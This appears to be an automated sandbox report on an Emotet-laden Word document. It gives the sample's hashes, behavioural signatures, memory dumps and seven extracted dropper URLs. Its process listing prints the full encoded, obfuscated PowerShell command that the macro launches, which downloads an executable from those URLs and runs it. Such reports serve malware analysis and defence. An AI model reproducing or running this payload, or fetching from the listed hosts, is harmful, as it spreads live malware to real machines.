Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    64s
  • max time network
    21s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    23/10/2020, 05:21

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_de3075003dae7cc1d27219ef1a911edea409e0977960756eb9b7dcecc9862aa8_2020-10-23__051926642166._doc.doc
  • Size 194KB
  • Sample201023-exfe6nafn2
  • SHA256 de3075003dae7cc1d27219ef1a911edea409e0977960756eb9b7dcecc9862aa8
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://primaage.com/wp-admin/is/
  • exe.dropper

    http://uvibrands.com/QIG/
  • exe.dropper

    https://morrobaydrugandgift.com/wp-contentbak/T9M/
  • exe.dropper

    http://autodidactai.com/wp-content/5SF/
  • exe.dropper

    https://cs.vitalero.com/wp-includes/Vf/
  • exe.dropper

    http://arcadia-consult.com/wp-admin/6O/
  • exe.dropper

    http://acheterpermis-deconduire.com/wp-admin/network/vv/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_de3075003dae7cc1d27219ef1a911edea409e0977960756eb9b7dcecc9862aa8_2020-10-23__051926642166._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:540
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IABTAEUAVAAtAHYAYQByAGkAYQBiAEwARQAgAG0AeABrADcAIAAoACAAIABbAHQAeQBQAGUAXQAoACIAewAzAH0AewA0AH0AewA1AH0AewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAnAGkAUgAnACwAJwBFAGMAdABvAHIAWQAnACwAJwBkACcALAAnAFMAJwAsACcAWQBzAHQARQBNAC4AJwAsACcAaQBvAC4AJwApACAAKQA7AFMAZQB0AC0AaQB0AEUATQAgACAAVgBBAFIAaQBBAEIATABFADoAaAB5AE4AdwBCADMAIAAgACgAIAAgAFsAVABZAHAARQBdACgAIgB7ADMAfQB7ADIAfQB7ADAAfQB7ADQAfQB7ADEAfQAiACAALQBmACcARQBNAC4ATgBlAFQALgBTACcALAAnAHIAVgBJAEMARQBQAG8AaQBuAHQATQBBAE4AQQBHAGUAUgAnACwAJwBzAFQAJwAsACcAcwB5ACcALAAnAEUAJwApACkAIAAgADsAIAAgACQATABmAGEAZQAzAHoANwA9ACgAJwBZAGwAJwArACgAJwA2ACcAKwAnAG0AegB2ACcAKQArACcAZgAnACkAOwAkAEwANgBqAG0AaQBzADkAPQAkAFYAcABmAHEAXwA0AG8AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFAAMQA0ADEAZABqAGsAOwAkAE0AbgA4AGQAcgA1AGEAPQAoACgAJwBLACcAKwAnAG8AeQBkAHYAJwApACsAJwA0AGEAJwApADsAIAAgACQATQB4AEsANwA6ADoAIgBjAHIARQBBAHQAYABlAEQAaQBSAEUAYABjAHQAbwBgAFIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AEgAbAB5AHcAbwBxAGYAewAwAH0ATAAnACsAJwAxADYAJwArACgAJwBpAHkAJwArACcAMgAnACkAKwAnAG4AewAwACcAKwAnAH0AJwApACAAIAAtAEYAIABbAGMASABBAFIAXQA5ADIAKQApADsAJABQADYAcABqAHcAOQA3AD0AKAAnAFQAbgAnACsAKAAnAHQAYwAnACsAJwA4AGcAZwAnACkAKQA7ACAAIAAoAGcAZQBUAC0AVgBBAFIAaQBhAEIAbABlACAAIABoAFkATgB3AEIAMwAgACAALQBWAGEATABVAGUATwApADoAOgAiAFMAYABlAGMAdQBgAFIAYABJAHQAeQBQAFIAYABPAHQAbwBjAG8ATAAiACAAPQAgACgAJwBUACcAKwAoACcAbABzADEAJwArACcAMgAnACkAKQA7ACQAQQBnADcAbAB5AGIAcwA9ACgAKAAnAEsAdQAnACsAJwBhAHcAZQAnACkAKwAnAGsAJwArACcAYwAnACkAOwAkAE0AMgBoAHAAMgB5AG8AIAA9ACAAKAAoACcAUgAnACsAJwA5AGUAaQAnACkAKwAoACcANQBhAGMAJwArACcAdQAnACkAKwAnAHMAJwApADsAJABJAGUAbAAwADEAagBoAD0AKAAnAEIAJwArACgAJwBwACcAKwAnADkAJwArACcAegBoAHUAbgAnACkAKQA7ACQAVwBjADgAawBzAHIAawA9ACgAKAAnAEoAMAAnACsAJwBiACcAKQArACcAMAA3ACcAKwAnAGEAZQAnACkAOwAkAEcAcABqAGsAaAAwADkAPQAkAEgATwBNAEUAKwAoACgAKAAnAE0ANABDAEgAbAAnACsAJwB5ACcAKQArACcAdwBvACcAKwAnAHEAZgAnACsAJwBNADQAJwArACgAJwBDAEwAMQA2AGkAeQAyACcAKwAnAG4ATQAnACsAJwA0AEMAJwApACkALQByAGUAcABsAEEAYwBlACAAIAAoAFsAQwBoAGEAcgBdADcANwArAFsAQwBoAGEAcgBdADUAMgArAFsAQwBoAGEAcgBdADYANwApACwAWwBDAGgAYQByAF0AOQAyACkAKwAkAE0AMgBoAHAAMgB5AG8AKwAoACgAJwAuACcAKwAnAGUAeAAnACkAKwAnAGUAJwApADsAJABWAG8AegBuAHoAcQA1AD0AKAAoACcASwAnACsAJwBnAGkAeQAnACkAKwAnADYAJwArACcAXwAxACcAKQA7ACQAWgBoAHgAOABiAHgAMgA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAYgBDAGwAaQBFAG4AVAA7ACQAUgBuAGQAbQBfADcAZwA9ACgAKAAnAGgAdAB0AHAAOgA9AFAATwAnACsAJwAzACcAKwAnADIAPQBQAE8AJwArACcAMwAnACsAJwAyAHAAcgAnACkAKwAnAGkAJwArACgAJwBtAGEAJwArACcAYQAnACkAKwAoACcAZwBlAC4AYwAnACsAJwBvACcAKwAnAG0APQBQACcAKwAnAE8AMwAyAHcAJwArACcAcAAnACkAKwAoACcALQBhAGQAbQBpAG4AJwArACcAPQBQAE8AJwArACcAMwAyACcAKQArACgAJwBpAHMAPQAnACsAJwBQACcAKQArACgAJwBPADMAMgAnACsAJwBAAGgAJwApACsAKAAnAHQAdABwACcAKwAnADoAJwApACsAJwA9AFAAJwArACgAJwBPADMAMgAnACsAJwA9AFAATwAnACsAJwAzADIAJwApACsAKAAnAHUAdgAnACsAJwBpACcAKQArACgAJwBiAHIAJwArACcAYQAnACkAKwAoACcAbgBkACcAKwAnAHMALgAnACsAJwBjAG8AJwApACsAKAAnAG0APQBQACcAKwAnAE8AMwAyAFEASQBHACcAKwAnAD0AJwArACcAUABPACcAKQArACgAJwAzADIAQABoAHQAJwArACcAdAAnACkAKwAoACcAcABzADoAPQBQACcAKwAnAE8AMwAyAD0AJwApACsAJwBQAE8AJwArACcAMwAyACcAKwAoACcAbQBvAHIAcgBvACcAKwAnAGIAJwArACcAYQB5AGQAcgAnACkAKwAnAHUAJwArACgAJwBnAGEAbgBkAGcAaQAnACsAJwBmACcAKQArACgAJwB0AC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAD0AUABPADMAMgAnACkAKwAnAHcAJwArACgAJwBwAC0AJwArACcAYwAnACkAKwAoACcAbwBuAHQAZQBuAHQAYgBhAGsAPQAnACsAJwBQACcAKwAnAE8AJwArACcAMwAnACkAKwAoACcAMgAnACsAJwBUADkATQAnACkAKwAoACcAPQBQAE8AJwArACcAMwAyACcAKQArACgAJwBAAGgAdAAnACsAJwB0ACcAKQArACcAcAAnACsAJwA6AD0AJwArACcAUABPACcAKwAoACcAMwAyACcAKwAnAD0AJwApACsAJwBQACcAKwAoACcATwAzADIAJwArACcAYQAnACkAKwAoACcAdQB0AG8AJwArACcAZABpAGQAJwArACcAYQBjAHQAJwApACsAKAAnAGEAaQAuACcAKwAnAGMAbwBtAD0AJwArACcAUABPACcAKwAnADMAJwApACsAKAAnADIAdwAnACsAJwBwACcAKQArACgAJwAtAGMAJwArACcAbwBuAHQAJwApACsAKAAnAGUAbgB0AD0AUAAnACsAJwBPACcAKQArACgAJwAzADIANQBTAEYAPQAnACsAJwBQACcAKwAnAE8AMwAyAEAAaAB0ACcAKwAnAHQAcABzACcAKQArACgAJwA6AD0AJwArACcAUAAnACkAKwAnAE8AJwArACgAJwAzADIAJwArACcAPQBQAE8AJwApACsAKAAnADMAJwArACcAMgBjACcAKQArACgAJwBzAC4AJwArACcAdgAnACkAKwAnAGkAdAAnACsAJwBhACcAKwAoACcAbAAnACsAJwBlACcAKwAnAHIAbwAuAGMAbwBtAD0AJwApACsAJwBQACcAKwAoACcATwAzADIAJwArACcAdwAnACkAKwAoACcAcAAtAGkAbgAnACsAJwBjAGwAJwArACcAdQBkAGUAcwA9ACcAKQArACgAJwBQAE8AJwArACcAMwAyAFYAJwApACsAKAAnAGYAJwArACcAPQBQACcAKQArACcATwAzACcAKwAnADIAJwArACgAJwBAACcAKwAnAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoAJwArACcAPQBQAE8AMwAnACkAKwAoACcAMgA9AFAATwAnACsAJwAzADIAYQAnACkAKwAnAHIAJwArACgAJwBjAGEAJwArACcAZAAnACkAKwAoACcAaQBhAC0AJwArACcAYwBvACcAKQArACgAJwBuAHMAdQAnACsAJwBsAHQALgAnACkAKwAnAGMAJwArACgAJwBvAG0AJwArACcAPQBQAE8AMwAyAHcAJwArACcAcAAtACcAKwAnAGEAZAAnACkAKwAoACcAbQBpACcAKwAnAG4APQBQAE8AMwAnACkAKwAnADIAJwArACgAJwA2AE8AJwArACcAPQBQACcAKQArACgAJwBPADMAJwArACcAMgBAAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoAPQBQAE8AMwAnACkAKwAoACcAMgA9AFAATwAnACsAJwAzADIAYQAnACkAKwAnAGMAJwArACcAaABlACcAKwAoACcAdABlACcAKwAnAHIAJwApACsAJwBwACcAKwAoACcAZQByACcAKwAnAG0AaQAnACkAKwAoACcAcwAnACsAJwAtAGQAJwApACsAJwBlACcAKwAnAGMAbwAnACsAKAAnAG4AJwArACcAZAB1ACcAKQArACgAJwBpAHIAZQAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQA9ACcAKwAnAFAATwAnACsAJwAzADIAdwAnACkAKwAoACcAcAAtACcAKwAnAGEAJwApACsAJwBkACcAKwAoACcAbQAnACsAJwBpACcAKwAnAG4APQBQAE8AMwAnACkAKwAoACcAMgBuAGUAdAAnACsAJwB3ACcAKQArACcAbwByACcAKwAoACcAawA9AFAATwAzADIAJwArACcAdgB2AD0AUAAnACsAJwBPACcAKQArACcAMwAyACcAKQAuACIAcgBlAFAATABhAGAAQwBFACIAKAAoACcAPQAnACsAKAAnAFAATwAzACcAKwAnADIAJwApACkALAAnAC8AJwApAC4AIgBTAFAAYABsAGkAVAAiACgAJABXAG8AZgBhAHgAaAAzACAAKwAgACQATAA2AGoAbQBpAHMAOQAgACsAIAAkAFYAdQB2ADIAaABqAGMAKQA7ACQASAB4ADcANAA2AF8AMgA9ACgAKAAnAEYAZQAnACsAJwA3AGwAJwApACsAKAAnAGoAeAAnACsAJwA3ACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABOADUAOQBmADcAaAA4ACAAaQBuACAAJABSAG4AZABtAF8ANwBnACkAewB0AHIAeQB7ACQAWgBoAHgAOABiAHgAMgAuACIARABgAG8AVwBuAGwATwBhAEQAZgBgAGkATABlACIAKAAkAE4ANQA5AGYANwBoADgALAAgACQARwBwAGoAawBoADAAOQApADsAJABHAHIAYwByADYAZAB5AD0AKAAoACcAUAAnACsAJwA1AHQAZQA3ACcAKQArACcAZAAnACsAJwB2ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABHAHAAagBrAGgAMAA5ACkALgAiAEwARQBgAE4AZwBUAGgAIgAgAC0AZwBlACAAMwAzADEANwA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3AGkAbgAzACcAKwAnADIAJwApACsAKAAnAF8AJwArACcAUAByAG8AJwApACsAKAAnAGMAZQBzACcAKwAnAHMAJwApACkAKQAuACIAQwByAGUAYABBAHQARQAiACgAJABHAHAAagBrAGgAMAA5ACkAOwAkAEUAbgBpAGUAOQAxADcAPQAoACgAJwBUADQAJwArACcAdABtACcAKwAnAHEAeAAnACkAKwAnAGgAJwApADsAYgByAGUAYQBrADsAJABFAHMAMgBnAHYAaABoAD0AKAAnAEcAJwArACgAJwBoAGIAJwArACcAcgB3AHQAJwApACsAJwBlACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwBoAGQAagB5AGoAbAA9ACgAJwBGACcAKwAoACcANABkACcAKwAnAGwAZgBsAGYAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1536

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/540-2-0x0000000008B30000-0x0000000008B34000-memory.dmp
        Download

        memory/540-4-0x0000000006F50000-0x0000000007150000-memory.dmp
        Download

        memory/1536-6-0x000007FEF1CE0000-0x000007FEF26CC000-memory.dmp
        Download

        memory/1536-7-0x0000000001F50000-0x0000000001F51000-memory.dmp
        Download

        memory/1536-8-0x000000001AB10000-0x000000001AB11000-memory.dmp
        Download

        memory/1536-9-0x0000000002400000-0x0000000002401000-memory.dmp
        Download

        memory/1536-10-0x0000000001EB0000-0x0000000001EB1000-memory.dmp
        Download

        memory/1536-11-0x000000001C3A0000-0x000000001C3A1000-memory.dmp
        Download

        memory/1536-12-0x000000001C470000-0x000000001C471000-memory.dmp
        Download